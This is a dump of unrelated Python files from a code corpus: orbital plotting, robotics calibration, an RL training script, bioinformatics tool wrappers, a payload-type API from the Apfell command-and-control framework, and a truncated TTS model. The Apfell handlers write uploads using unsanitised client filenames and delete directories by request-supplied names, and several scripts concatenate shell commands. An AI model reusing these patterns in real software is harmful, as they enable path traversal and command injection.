self.coeffs])\r\n \r\n def __call__(self,x):\r\n p=0\r\n for ai in reversed(self.coeffs):\r\n p=ai+x*p\r\n return p\r\n \r\n def deriv(self):\r\n return polynome([ai*(i+1) for i,ai in enumerate(self.coeffs[1:])])\r\n \r\n def deriv_n(self,n):\r\n p=self\r\n for i in range(n):\r\n p=p.deriv()\r\n return p\r\n\r\n## PARTIE ANGULAIRE DE LA FONCTION D'ONDE\r\n \r\ndef fact(n):\r\n r=1\r\n for i in range(1,n+1):\r\n r=r*i\r\n return r\r\n \r\ndef legendre(l):\r\n L0=polynome([1])\r\n L1=polynome([0,1])\r\n if l==1:\r\n return L1\r\n elif l==0:\r\n return L0\r\n else:\r\n for i in range(2,l+1):\r\n A=L0*(-(i-1))\r\n B=(polynome([0,1])*L1)*(2*i-1)\r\n Ln=(B+A)*(1./i)\r\n L0=L1\r\n L1=Ln\r\n return Ln\r\n \r\ndef harmo(l,m,theta):\r\n x=math.cos(theta)\r\n L=legendre(l).deriv_n(abs(m))\r\n N=math.sqrt(fact(l-abs(m))*(2*l+1)/(fact(l+abs(m))*4*math.pi))\r\n Y1=polynome([1,0,-1])*N\r\n \r\n return L(x)*(Y1(x)**(abs(m)/2.))*(-1)**(abs(m)) if m>0 else L(x)*(Y1(x)**(abs(m)/2.))\r\n \r\ndef orbitale(l,ml):\r\n assert abs(ml)<=l, \"ml doit être inférieur à l\"\r\n phi=[-math.pi+i*math.pi/400. for i in range(801)]\r\n theta=[-math.pi+i*math.pi/400. for i in range(801)]\r\n TH,PHI=np.meshgrid(theta,phi)\r\n if ml==0:\r\n R=[[abs(harmo(l,ml,val))**2 for val in ligne] for ligne in TH]\r\n elif ml>0:\r\n R=[[abs(harmo(l,ml,val))**2*math.cos(ml*phi)*math.sqrt(2.) for val,phi in zip(L1,L2)] for L1,L2 in zip(TH,PHI)]\r\n else:\r\n R=[[abs(harmo(l,ml,val))**2*math.sin(ml*phi)*math.sqrt(2.) for val,phi in zip(L1,L2)] for L1,L2 in zip(TH,PHI)]\r\n \r\n x = [[Rval*math.sin(th)*math.cos(phi) \\\r\n for Rval,th,phi in zip(L1,L2,L3)]\\\r\n for L1,L2,L3 in zip(R,TH,PHI)]\r\n y=[[Rval*math.sin(th)*math.sin(phi)\\\r\n for Rval,th,phi in zip(L1,L2,L3)]\\\r\n for L1,L2,L3 in zip(R,TH,PHI)]\r\n z=[[Rval*math.cos(th)\\\r\n for Rval,th in zip(L1,L2)]\\\r\n for L1,L2 in zip(R,TH)]\r\n fig=plt.figure()\r\n ax=fig.gca(projection='3d')\r\n ax.plot_surface(x,y,z,color='w')\r\n plt.axis('off')\r\n plt.axis('equal')\r\n titre='$l$='+str(l)+', '+'$m_l$='+str(ml)\r\n plt.title(titre,family='serif',fontsize=18,style='italic')\r\n plt.show()","sub_path":"Générateur 3D d'Orbitales Atomiques.py","file_name":"Générateur 3D d'Orbitales Atomiques.py","file_ext":"py","file_size_in_byte":4066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"608240371","text":"# _*_ coding:utf-8 _*_\n# @time: 2020/9/30 上午8:46\n# @author: 张新新\n# @email: 1262981714@qq.com\nimport numpy as np\nimport math\nimport transforms3d\nimport cv2\n\neuler_connection = [0,0,0]\neuler_rgb = [-math.pi/2,0,-math.pi]\nposition_connection = np.array([-8.0685e-5,+1.0824e-4,+1.1190e+0])\nposition_rgb = np.array([-1.4181e-2,+2.9358e-2,+1.1514e+0])\nrotation_connection = transforms3d.euler.euler2mat(euler_connection[0],euler_connection[1],euler_connection[2],'rxyz')\nrotation_rgb = transforms3d.euler.euler2mat(euler_rgb[0],euler_rgb[1],euler_rgb[2],'rxyz')\ntranslation_connection = np.append(np.append(rotation_connection,np.transpose([position_connection]),1),np.array([[0,0,0,1]]),0)\ntranslation_rgb = np.append(np.append(rotation_rgb,np.transpose([position_rgb]),1),np.array([[0,0,0,1]]),0)\n\nhandeye_gt = np.dot(np.linalg.inv(translation_connection),translation_rgb)\n# translation_pic = np.array([[-1,0,0,0],\n# [0,1,0,0],\n# [0,0,-1,0],\n# [0,0,0,1]])\n# handeye_gt = np.dot(translation_pic,handeye_gt)\nprint(\"handeye_gt:\",handeye_gt)\n\nhandeye_gt = np.array([[1,0,0,-0.01410],\n [0,0,1,0.02925],\n [0,-1,0,0.0324],\n [0,0,0,1]])\nHobj2base = np.array([[1,0,0,-0.735],\n [0,-1,0,0.09],\n [0,0,-1,0],\n [0,0,0,1]])\n\n\nfs = cv2.FileStorage(\"../config/handineye_gt.yml\",cv2.FileStorage_WRITE)\nfs.write(\"Hcamera2end\",handeye_gt)\nfs.write(\"Hobj2base\",Hobj2base)\nfs.release()\n","sub_path":"temp_test/testRotation.py","file_name":"testRotation.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"251305527","text":"#!/usr/bin/env python\n#coding:utf-8\n#python ${simg2imgTool}/apkversion/pack_osapp_zipfortest.py ${Style_Folder} ${product_name}\n# Product_APK_Version = /work/workspace/jenkins/proj/Product_APK_Version\n# JENKINSWORKSPACE = /work/workspace/jenkins/proj\nimport sys\nimport glob\nimport time\nimport os\nimport zipfile\nimport time\n\n\ndef find_zip(): \n global out_osapp_zip_dir\n global PRODUCTNAME\n global copy_out_osapp_zip_dir\n global product_name\n PRODUCTNAME = '0'\n PRODUCTNAME = sys.argv[1]\n product_name = PRODUCTNAME\n print (\"PRODUCTNAME:\"+PRODUCTNAME)\n copy_out_osapp_zip_dir='/work/OSTeam/OPT'\n out_osapp_zip_dir='/work/OSTeam/simg2img/out_osapp_zip_dir'\n #files=glob.glob(out_osapp_zip_dir+ '/'+PRODUCTNAME+'*')\n files=findlastzipfile(out_osapp_zip_dir+ '/'+PRODUCTNAME)\n print (\"files:\"+files)\n if os.path.exists(copy_out_osapp_zip_dir+'/'+PRODUCTNAME):\n #os.system('sudo mkdir -p ' + copy_out_osapp_zip_dir+'/'+PRODUCTNAME)\n os.system('sudo cp -raf '+files+' '+copy_out_osapp_zip_dir+'/'+PRODUCTNAME)\n \ndef findlastzipfile(zipdir):\n print ('zipdir:'+str(zipdir))\n files=glob.glob(zipdir + '/*.zip')\n print ('files:'+str(files))\n if files.__len__() < 1:\n print ('zip file is not exists!')\n return False\n fctimes={}\n ctimes=[]\n for file in files:\n fileinfo=os.stat(file)\n time=(fileinfo.st_ctime)\n fctimes[time]=(file)\n ctimes.append(time)\n print (str(fctimes))\n ctimes=max(ctimes)\n print ('max zip file :'+str(fctimes[ctimes])+' time:'+str(ctimes))\n return str(fctimes[ctimes])\n \nif __name__ == '__main__':\n find_zip()","sub_path":"os-script/apkversion/pack_osapp_zip_for_F311.py","file_name":"pack_osapp_zip_for_F311.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"130336983","text":"import sys\nimport ray\n\nfrom ray.rllib.agents.ppo import PPOAgent\nfrom ray import tune\n\nfrom envs.multi_agend import MultiAgend\n\nimport models.pommberman_lstm\nimport models.pommberman\nimport matplotlib.pyplot as plt\nfrom agents.agents import BaseLineAgent, NoDoAgent, SuicidalAgent, RandomMoveAgent, Curiosity\n\n\nclass PhasePPO(PPOAgent):\n\n def __init__(self, config=None, env=None, logger_creator=None):\n super(PhasePPO, self).__init__(config=config,env=env, logger_creator=logger_creator)\n self.train_phase = 0\n\n\ndef on_train_result(info):\n trainer = info[\"trainer\"]\n result = info[\"result\"]\n if result[\"episode_reward_mean\"] > 0.95 and trainer.train_phase == 0:\n trainer.train_phase = 1\n elif result[\"episode_reward_mean\"] > 0.95 and trainer.train_phase == 1:\n trainer.train_phase = 2\n elif result[\"episode_reward_mean\"] > 0.95 and trainer.train_phase == 2:\n trainer.train_phase = 3\n elif result[\"episode_reward_mean\"] > 0.95 and trainer.train_phase == 3:\n trainer.train_phase = 4\n elif result[\"episode_reward_mean\"] > 0.95 and trainer.train_phase == 4:\n trainer.train_phase = 5\n elif result[\"episode_reward_mean\"] > 0.95 and trainer.train_phase == 5:\n trainer.train_phase = 6\n\n phase = trainer.train_phase\n trainer.optimizer.foreach_evaluator(\n lambda ev: ev.foreach_env(\n lambda env: env.set_phase(phase)))\n\n\ndef run():\n sys.setrecursionlimit(56000)\n ray.shutdown()\n #ray.init(num_gpus=1)\n ray.init()\n tune.run(\n PhasePPO,\n name=\"pommber_cm\",\n checkpoint_freq=10,\n local_dir=\"./results\",\n config={\n \"num_workers\": 1,\n #\"num_gpus\": 1,\n #\"num_envs_per_worker\": 16,\n \"observation_filter\": \"MeanStdFilter\",\n \"batch_mode\": \"complete_episodes\",\n \"train_batch_size\": 8000,\n \"sgd_minibatch_size\": 500,\n \"vf_share_layers\": True,\n \"lr\": 5e-4,\n \"gamma\": 0.997,\n \"model\": {\n #\"use_lstm\": True,\n #\"max_seq_len\": 60,\n #\"lstm_cell_size\": 128,\n \"custom_model\": \"pommberman\"},\n \"env\": \"pommber_team\",\n \"callbacks\": {\n \"on_train_result\": tune.function(on_train_result),\n },\n },\n )\n\ndef test():\n env = MultiAgend()\n env.set_phase(1)\n env.reset()\n p = env.agents_index[0]\n print(p)\n print(env.step({p: 5})[0][p]['states'].shape)\n\n f, x = plt.subplots(1,18,figsize=(36, 2))\n for i, board in enumerate(env.step({p: 1})[0][p]['boards']):\n x[i].imshow(board)\n x[i].axis(\"off\")\n plt.show()\n\ntest()\n","sub_path":"pommber_run.py","file_name":"pommber_run.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"640724263","text":"import subprocess\nimport os\nimport shutil\nimport sys\nfrom datetime import datetime\nfrom random import choice\nfrom string import digits\n\n#folder paths without slash\nthis_script_directory = os.path.dirname(os.path.realpath(__file__))\niupred_dir = \"/home/sghadermarzi/IUPRED\"\nasaquick_dir = \"/home/sghadermarzi/ASAquick/bin\"\nANCHOR_dir = \"/home/sghadermarzi/ANCHOR\"\nif not os.path.exists(this_script_directory+'/tmp'):\n os.mkdir(this_script_directory+'/tmp')\ntemp_dir = this_script_directory+'/tmp'\nnum_iupred_decimal_points = 2\nnum_ANCHOR_decimal_points = 2\nnum_asaquick_decimal_points = 2\n\n\n\n# def profbval(seq):\n# [0.0]*len(seq)\n\n\n\ndef profbval(seq):\n random_code= (''.join(choice(digits) for i in range(4)))\n time_string= datetime.now().strftime(\"%Y%m%d%H%M%S\")\n taskid = time_string+\"_profbval_\"+ random_code\n filename = temp_dir+\"/\"+taskid\n #profbval must be in the PATH\n #save the current working directory\n cwd = os.getcwd()\n #create a sequence file in the temp_dir\n os.chdir(temp_dir)\n with open(taskid+\".seq\",\"w\",newline = \"\") as seqfile:\n seqfile.writelines(\">tmp\\n\"+seq)\n # print(\"Running ProfBVAL on sequence\"+filename)\n command_1 = \"/home/biomine/programs/blast-2.2.24/bin/blastpgp -j 3 -h 0.001 -d /home/biomine/programs/db/nrfilt/nrfilt -i \"+filename+\".seq -Q \"+filename+\".pssm -C \"+filename+\".chk -o \"+filename+\".blast\"\n # print(command_1)\n os.system(command_1)\n command_2 = \"/usr/share/librg-utils-perl/blast2saf.pl fasta=\"+filename+\".seq eSaf=1 saf=\"+filename+\".saf \"+filename+\".blast\"\n # print(command_2)\n os.system(command_2)\n command_3 = \"/usr/share/librg-utils-perl/copf.pl \"+filename+\".saf formatIn=saf formatOut=hssp fileOut=\"+filename+\".hssp exeConvertSeq=/usr/bin/convert_seq\"\n # print(command_3)\n os.system(command_3)\n command_4 = \"/usr/share/librg-utils-perl/hssp_filter.pl red=5 \"+filename+\".hssp fileOut=\"+filename+\".fhssp\"\n # print(command_4)\n os.system(command_4)\n command_5 = \"prof \"+filename+\".hssp fileRdb=\"+filename+\".rdbProf\"\n # print(command_5)\n os.system(command_5)\n command_6 = \"profbval \"+filename+\".seq \"+filename+\".rdbProf \"+filename+\".fhssp \"+filename+\".bVal 9 6\"\n # print(command_6)\n os.system(command_6)\n # command_7 = \"profbval \"+filename+\".seq \"+filename+\".rdbProf \"+filename+\".fhssp \"+filename+\".rdbBval 9 5\"\n # os.system(command_7)\n res = [0.0]*len(seq)\n with open(temp_dir+\"/\"+taskid+\".bVal\") as resfile:\n resfile.readline()\n line = resfile.readline()\n i = 0\n while line:\n line_spl = line.split(\"\\t\")\n if len(line_spl) > 3:\n res[i] = float(line_spl[3])\n i+=1\n line = resfile.readline()\n\n\n # remove temp fasta file\n for ext in [\".seq\",\".bVal\",\".blast\",\".chk\",\".fhssp\",\".hssp\",\".pssm\",\".rdbProf\",\".saf\"]:\n os.remove(temp_dir+\"/\"+taskid+ext)\n\n\n\n #go back to the previous working directory\n os.chdir(cwd)\n\n return res\n\n\n\n\n\n\n\n\ndef iupred_long(seq):\n #save the current working directory\n cwd = os.getcwd()\n random_code= (''.join(choice(digits) for i in range(4)))\n time_string= datetime.now().strftime(\"%Y%m%d%H%M%S\")\n taskid = time_string+\"_iupredlong_\"+ random_code\n #create a sequence file in the temp_dir\n os.chdir(iupred_dir)\n with open(temp_dir+\"/\"+taskid+\".fasta\",\"w\",newline = \"\") as seqfile:\n seqfile.writelines(\">tmp\\n\"+seq)\n p = os.system(\"./iupred \"+temp_dir+\"/\"+taskid+\".fasta long > \"+temp_dir+\"/\"+taskid+\".res\")\n # allow external program to work\n # read the result to a string\n with open(temp_dir+\"/\"+taskid+\".res\") as res_file:\n result_str = res_file.read()\n res_list = list()\n lines = result_str.split(\"\\n\")\n for line in lines[9:]:\n line = line.rstrip('\\n')\n line_cols = line.split()\n if len(line)>2:\n value = (float(line_cols[2]))\n value = round(value,num_iupred_decimal_points)\n res_list.append(value)\n\n #remove temp fasta file\n os.remove(temp_dir+\"/\"+taskid+\".fasta\")\n os.remove(temp_dir+\"/\"+taskid+\".res\")\n #go back to the previous working directory\n os.chdir(cwd)\n return res_list\n\n\n\ndef iupred_short(seq):\n #save the current working directory\n cwd = os.getcwd()\n random_code= (''.join(choice(digits) for i in range(4)))\n time_string= datetime.now().strftime(\"%Y%m%d%H%M%S\")\n taskid = time_string+\"_iupredshort_\"+ random_code\n #create a sequence file in the temp_dir\n os.chdir(iupred_dir)\n with open(temp_dir+\"/\"+taskid+\".fasta\",\"w\",newline = \"\") as seqfile:\n seqfile.writelines(\">tmp\\n\"+seq)\n p = os.system(\"./iupred \"+temp_dir+\"/\"+taskid+\".fasta short > \"+temp_dir+\"/\"+taskid+\".res\")\n # allow external program to work\n # read the result to a string\n with open(temp_dir+\"/\"+taskid+\".res\") as res_file:\n result_str = res_file.read()\n res_list = list()\n lines = result_str.split(\"\\n\")\n for line in lines[9:]:\n line = line.rstrip('\\n')\n line_cols = line.split()\n if len(line)>2:\n value = (float(line_cols[2]))\n value = round(value,num_iupred_decimal_points)\n res_list.append(value)\n\n #remove temp fasta file\n os.remove(temp_dir+\"/\"+taskid+\".fasta\")\n os.remove(temp_dir+\"/\"+taskid+\".res\")\n #go back to the previous working directory\n os.chdir(cwd)\n return res_list\n\n\n\n\ndef asaquick(seq):\n #add asaquick to PATH\n sys.path\n sys.path.append(asaquick_dir)\n #save the current working directory\n cwd = os.getcwd()\n #create a sequence file in the temp_dir\n os.chdir(asaquick_dir)\n random_code= (''.join(choice(digits) for i in range(4)))\n time_string= datetime.now().strftime(\"%Y%m%d%H%M%S\")\n taskid = time_string+\"_asaquick_\"+ random_code\n with open(temp_dir+\"/\"+taskid+\".fasta\",\"w\",newline = \"\") as seqfile:\n seqfile.writelines(\">tmp\\n\"+seq)\n p = os.system(\"./ASAquick \"+temp_dir+\"/\"+taskid+\".fasta > /dev/null 2>&1\")\n #read the results from ASAquick\n fileaddress = \"./asaq.\"+taskid+\".fasta/rasaq.pred\"\n f = open(fileaddress)\n res_list = list()\n line = f.readline()\n while line:\n line = line.rstrip('\\n')\n line_cols = line.split(\" \")\n value = (float(line_cols[2])/2)+0.5\n value = round(value,num_asaquick_decimal_points)\n res_list.append(value)\n # res_list.append(line_cols[2])\n # use realine() to read next line\n line = f.readline()\n res_list = res_list[:-1]\n #remove temp fasta file\n os.remove(temp_dir+\"/\"+taskid+\".fasta\")\n #remove the results from ASAquick\n shutil.rmtree(\"./asaq.\"+taskid+\".fasta\")\n #go back to the previous working directory\n os.chdir(cwd)\n return res_list\n\n\ndef ANCHOR(seq):\n #save the current working directory\n cwd = os.getcwd()\n random_code= (''.join(choice(digits) for i in range(4)))\n time_string= datetime.now().strftime(\"%Y%m%d%H%M%S\")\n taskid = time_string+\"_iupredshort_\"+ random_code\n #create a sequence file in the temp_dir\n os.chdir(ANCHOR_dir)\n with open(temp_dir+\"/\"+taskid+\".fasta\",\"w\",newline = \"\") as seqfile:\n seqfile.writelines(\">tmp\\n\"+seq)\n p = subprocess.Popen([ANCHOR_dir+\"/anchor \"+temp_dir+\"/\"+taskid+\".fasta\"], bufsize=2048, shell=True,\n stdin=subprocess.PIPE, stdout=subprocess.PIPE, close_fds=True)\n # allow external program to work\n p.wait()\n # read the result to a string\n result_str = p.stdout.read().decode(\"utf-8\")\n res = list()\n lines = result_str.split(\"\\n\")\n for line in lines:\n if not line.startswith(\"#\"):\n line = line.rstrip('\\n')\n line_cols = line.split()\n if len(line)>2:\n value = (float(line_cols[2]))\n value_bin = int(line_cols[3])\n value = round(value,num_ANCHOR_decimal_points)\n res.append(value)\n #remove temp fasta file\n os.remove(temp_dir+\"/\"+taskid+\".fasta\")\n #go back to the previous working directory\n os.chdir(cwd)\n return res\n\nprint(\"\")\n\n\n\n","sub_path":"feature_calculation/residuelevel_scores.py","file_name":"residuelevel_scores.py","file_ext":"py","file_size_in_byte":8182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"150941780","text":"import sys\nsys.stdin = open(\"input.txt\",\"r\")\n\n\nn = int(input())\n\ndp = []\ndp.append(1)\ndp.append(2)\n\nif n == 1:\n print(dp[0])\nelif n == 2:\n print(dp[1])\nelse:\n for i in range(2,n):\n dp.append(dp[i-2]+dp[i-1])\n\n print(dp[-1] % 10007)\n","sub_path":"염성훈/DP/boj_11726_2xn타일링.py","file_name":"boj_11726_2xn타일링.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"117167847","text":"from app import apfell, db_objects\nfrom sanic.response import json\nfrom app.database_models.model import Operator, PayloadType, Command, CommandParameters\nfrom sanic_jwt.decorators import protected, inject_user\nfrom urllib.parse import unquote_plus\nimport os\nfrom shutil import rmtree\nimport json as js\n\n\n# payloadtypes aren't inherent to an operation\n@apfell.route(apfell.config['API_BASE'] + \"/payloadtypes/\", methods=['GET'])\n@inject_user()\n@protected()\nasync def get_all_payloadtypes(request, user):\n payloads = await db_objects.execute(PayloadType.select())\n return json([p.to_json() for p in payloads])\n\n\n@apfell.route(apfell.config['API_BASE'] + \"/payloadtypes/<ptype:string>\", methods=['GET'])\n@inject_user()\n@protected()\nasync def get_all_payloadtypes(request, user, ptype):\n payload_type = unquote_plus(ptype)\n try:\n payloadtype = await db_objects.get(PayloadType, ptype=payload_type)\n except Exception as e:\n return json({'status': 'error', 'error': 'failed to find payload type'})\n return json({'status': 'success', **payloadtype.to_json()})\n\n\n# anybody can create a payload type for now, maybe just admins in the future?\n@apfell.route(apfell.config['API_BASE'] + \"/payloadtypes/\", methods=['POST'])\n@inject_user()\n@protected()\nasync def create_payloadtype(request, user):\n # this needs to know the name of the type, everything else is done for you\n if request.form:\n data = js.loads(request.form.get('json'))\n else:\n data = request.json\n try:\n if \"ptype\" not in data:\n return json({'status': 'error', 'error': '\"ptype\" is a required field and must be unique'})\n if \"file_extension\" not in data:\n data[\"file_extension\"] = \"\"\n elif \".\" not in data['file_extension'] and data['file_extension'] != \"\":\n data['file_extension'] = \".\" + data['file_extension']\n if 'wrapper' not in data:\n data['wrapper'] = False\n if \"command_template\" not in data:\n data['command_template'] = \"\"\n operator = await db_objects.get(Operator, username=user['username'])\n if data['wrapper']:\n if \"wrapped_payload_type\" not in data:\n return json({'status': 'error', 'error': '\"wrapped_payload_type\" is required for a wraper type payload'})\n try:\n wrapped_payload_type = await db_objects.get(PayloadType, ptype=data['wrapped_payload_type'])\n except Exception as e:\n print(e)\n return json({'status': 'error', 'error': \"failed to find that wrapped payload type\"})\n payloadtype = await db_objects.create(PayloadType, ptype=data['ptype'], operator=operator,\n file_extension=data['file_extension'],\n wrapper=data['wrapper'],\n wrapped_payload_type=wrapped_payload_type)\n else:\n payloadtype = await db_objects.create(PayloadType, ptype=data['ptype'], operator=operator,\n file_extension=data['file_extension'],\n wrapper=data['wrapper'], command_template=data['command_template'])\n os.mkdir(\"./app/payloads/{}\".format(payloadtype.ptype)) # make the directory structure\n if request.files:\n code = request.files['upload_file'][0].body\n code_file = open(\"./app/payloads/{}/{}\".format(payloadtype.ptype, request.files['upload_file'][0].name), \"wb\")\n code_file.write(code)\n code_file.close()\n for i in range(1, int(request.form.get('file_length'))):\n code = request.files['upload_file_' + str(i)][0].body\n code_file = open(\"./app/payloads/{}/{}\".format(payloadtype.ptype, request.files['upload_file_' + str(i)][0].name),\n \"wb\")\n code_file.write(code)\n code_file.close()\n except Exception as e:\n print(e)\n return json({'status': 'error', 'error': 'failed to create new payload type: ' + str(e)})\n status = {'status': 'success'}\n ptype_json = payloadtype.to_json()\n # make sure a file exists in the right location with the right name\n if not os.path.exists(\"./app/payloads/{}/{}{}\".format(payloadtype.ptype, payloadtype.ptype, payloadtype.file_extension)):\n file = open(\"./app/payloads/{}/{}{}\".format(payloadtype.ptype, payloadtype.ptype, payloadtype.file_extension), 'w')\n file.close()\n return json({**status, **ptype_json})\n\n\n# anybody can create a payload type for now, maybe just admins in the future?\n@apfell.route(apfell.config['API_BASE'] + \"/payloadtypes/<ptype:string>\", methods=['PUT'])\n@inject_user()\n@protected()\nasync def update_payloadtype(request, user, ptype):\n if request.form:\n data = js.loads(request.form.get('json'))\n else:\n data = request.json\n try:\n payload_type = unquote_plus(ptype)\n payloadtype = await db_objects.get(PayloadType, ptype=payload_type)\n except Exception as e:\n print(e)\n return json({'status': 'error', 'error': \"failed to find that payload type\"})\n operator = await db_objects.get(Operator, username=user['username'])\n if user['admin'] or payloadtype.operator == operator:\n if 'file_extension' in data:\n if \".\" not in data['file_extension'] and data['file_extension'] != \"\":\n payloadtype.file_extension = \".\" + data['file_extension']\n else:\n payloadtype.file_extension = data['file_extension']\n if 'wrapper' in data:\n payloadtype.wrapper = data['wrapper']\n if 'wrapped_payload_type' in data:\n try:\n wrapped_payload_type = await db_objects.get(PayloadType, ptype=data['wrapped_payload_type'])\n except Exception as e:\n print(e)\n return json({'status': 'error', 'error': \"failed to find that wrapped payload type\"})\n payloadtype.wrapped_payload_type = wrapped_payload_type\n if 'command_template' in data:\n payloadtype.command_template = data['command_template']\n await db_objects.update(payloadtype)\n if request.files:\n code = request.files['upload_file'][0].body.decode('UTF-8')\n code_file = open(\"./app/payloads/{}/{}\".format(payloadtype.ptype, request.files['upload_file'][0].name), \"w\")\n code_file.write(code)\n code_file.close()\n for i in range(1, int(request.form.get('file_length'))):\n code = request.files['upload_file_' + str(i)][0].body.decode('UTF-8')\n code_file = open(\"./app/payloads/{}/{}\".format(payloadtype.ptype, request.files['upload_file_' + str(i)][0].name),\n \"w\")\n code_file.write(code)\n code_file.close()\n return json({'status': 'success', **payloadtype.to_json()})\n else:\n return json({'status': 'error', 'error': \"must be an admin or the creator of the type to edit it\"})\n\n\n@apfell.route(apfell.config['API_BASE'] + \"/payloadtypes/<ptype:string>/upload\", methods=['POST'])\n@inject_user()\n@protected()\nasync def upload_payload_code(request, user, ptype):\n payload_type = unquote_plus(ptype)\n try:\n payloadtype = await db_objects.get(PayloadType, ptype=payload_type)\n except Exception as e:\n print(e)\n return json({'status': 'error', 'error': 'failed to find payload'})\n # only the original creator or an admin can update the file on disk for the payload type through here\n operator = await db_objects.get(Operator, username=user['username'])\n if user['admin'] or payloadtype.operator == operator:\n if request.files:\n code = request.files['upload_file'][0].body.decode('UTF-8')\n code_file = open(\"./app/payloads/{}/{}\".format(payloadtype.ptype, request.files['upload_file'][0].name),\n \"w\")\n code_file.write(code)\n code_file.close()\n for i in range(1, int(request.form.get('file_length'))):\n code = request.files['upload_file_' + str(i)][0].body.decode('UTF-8')\n code_file = open(\n \"./app/payloads/{}/{}\".format(payloadtype.ptype, request.files['upload_file_' + str(i)][0].name),\n \"w\")\n code_file.write(code)\n code_file.close()\n return json({'status': 'success'})\n else:\n return json({'status': 'error', 'error': 'must be an admin or the original creator to change the file on disk'})\n\n\n# payloadtypes aren't inherent to an operation\n@apfell.route(apfell.config['API_BASE'] + \"/payloadtypes/<ptype:string>/<fromDisk:int>\", methods=['DELETE'])\n@inject_user()\n@protected()\nasync def delete_one_payloadtype(request, user, ptype, fromDisk):\n payload_type = unquote_plus(ptype)\n try:\n payloadtype = await db_objects.get(PayloadType, ptype=payload_type)\n except Exception as e:\n return json({'status': 'error', 'error': 'failed to find payload type'})\n operator = await db_objects.get(Operator, username=user['username'])\n if payloadtype.operator == operator or user['admin']:\n # only delete a payload type if you created it or if you're an admin\n try:\n payloadtype_json = payloadtype.to_json()\n await db_objects.delete(payloadtype, recursive=True)\n if fromDisk == 1:\n # this means we should delete the corresponding folder from disk as well\n rmtree(\"./app/payloads/{}\".format(payloadtype_json['ptype']))\n return json({'status': 'success', **payloadtype_json})\n except Exception as e:\n print(e)\n return json({'status': 'error', 'error': 'failed to delete payloadtype. There are probably a lot of things dependent on this. Try clearing those out with the database management tab first.'})\n else:\n return json({'status': 'error', 'error': 'you must be admin or the creator of the payload type to delete it'})\n\n\n# get all the commands associated with a specitic payload_type\n@apfell.route(apfell.config['API_BASE'] + \"/payloadtypes/<ptype:string>/commands\", methods=['GET'])\n@inject_user()\n@protected()\nasync def get_commands_for_payloadtype(request, user, ptype):\n payload_type = unquote_plus(ptype)\n try:\n payloadtype = await db_objects.get(PayloadType, ptype=payload_type)\n except Exception as e:\n print(e)\n return json({'status': 'error', 'error': 'failed to get payload type'})\n commands = await db_objects.execute(Command.select().where(Command.payload_type == payloadtype).order_by(Command.cmd))\n all_commands = []\n for cmd in commands:\n params = await db_objects.execute(CommandParameters.select().where(CommandParameters.command == cmd))\n all_commands.append({**cmd.to_json(), \"params\": [p.to_json() for p in params]})\n status = {'status': 'success'}\n return json({**status, 'commands': all_commands})","sub_path":"app/api/payloadtype_api.py","file_name":"payloadtype_api.py","file_ext":"py","file_size_in_byte":11145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"14544486","text":"import os\nfrom abc import ABC\n\nimport numpy as np\nimport sounddevice\nimport soundfile\nimport torch\nimport torch.nn.functional as F\n\nfrom Layers.Attention import GuidedMultiHeadAttentionLoss\nfrom Layers.Attention import MultiHeadedAttention\nfrom Layers.PositionalEncoding import PositionalEncoding\nfrom Layers.PositionalEncoding import ScaledPositionalEncoding\nfrom Layers.PostNet import PostNet\nfrom Layers.ResidualStack import ResidualStack\nfrom Layers.TransformerTTSDecoder import Decoder\nfrom Layers.TransformerTTSDecoderPrenet import DecoderPrenet\nfrom Layers.TransformerTTSEncoder import Encoder\nfrom Layers.TransformerTTSEncoderPrenet import EncoderPrenet\nfrom PreprocessingForTTS.ProcessText import TextFrontend\nfrom Utility.utils import subsequent_mask\nfrom Utility.utils import make_non_pad_mask\n\n\nclass Transformer(torch.nn.Module, ABC):\n\n def __init__(self, # network structure related\n idim, odim, embed_dim=0, eprenet_conv_layers=0, eprenet_conv_chans=0, eprenet_conv_filts=0,\n dprenet_layers=2, dprenet_units=256, elayers=6, eunits=1024, adim=512, aheads=4, dlayers=6,\n dunits=1024, postnet_layers=5, postnet_chans=256, postnet_filts=5, positionwise_layer_type=\"conv1d\",\n positionwise_conv_kernel_size=1, use_scaled_pos_enc=True, use_batch_norm=True, encoder_normalize_before=True,\n decoder_normalize_before=True, encoder_concat_after=True, # True according to https://github.com/soobinseo/Transformer-TTS\n decoder_concat_after=True, # True according to https://github.com/soobinseo/Transformer-TTS\n reduction_factor=1, spk_embed_dim=None, spk_embed_integration_type=\"concat\", # training related\n transformer_enc_dropout_rate=0.1, transformer_enc_positional_dropout_rate=0.1,\n transformer_enc_attn_dropout_rate=0.1, transformer_dec_dropout_rate=0.1,\n transformer_dec_positional_dropout_rate=0.1, transformer_dec_attn_dropout_rate=0.1,\n transformer_enc_dec_attn_dropout_rate=0.1, eprenet_dropout_rate=0.0, dprenet_dropout_rate=0.5,\n postnet_dropout_rate=0.5, init_type=\"xavier_uniform\", # since we have little to no\n # asymetric activations, this seems to work better than kaiming\n init_enc_alpha=1.0, use_masking=False, # either this or weighted masking, not both\n use_weighted_masking=True, # if there are severely different sized samples in one batch\n bce_pos_weight=7.0, # scaling the loss of the stop token prediction\n loss_type=\"L1\", use_guided_attn_loss=True, num_heads_applied_guided_attn=2, num_layers_applied_guided_attn=2,\n modules_applied_guided_attn=(\"encoder-decoder\",), guided_attn_loss_sigma=0.4, # standard deviation from diagonal that is allowed\n guided_attn_loss_lambda=25.0):\n super().__init__()\n self.idim = idim\n self.odim = odim\n self.eos = idim - 1\n self.spk_embed_dim = spk_embed_dim\n self.reduction_factor = reduction_factor\n self.use_guided_attn_loss = use_guided_attn_loss\n self.use_scaled_pos_enc = use_scaled_pos_enc\n self.use_guided_attn_loss = use_guided_attn_loss\n if self.use_guided_attn_loss:\n if num_layers_applied_guided_attn == -1:\n self.num_layers_applied_guided_attn = elayers\n else:\n 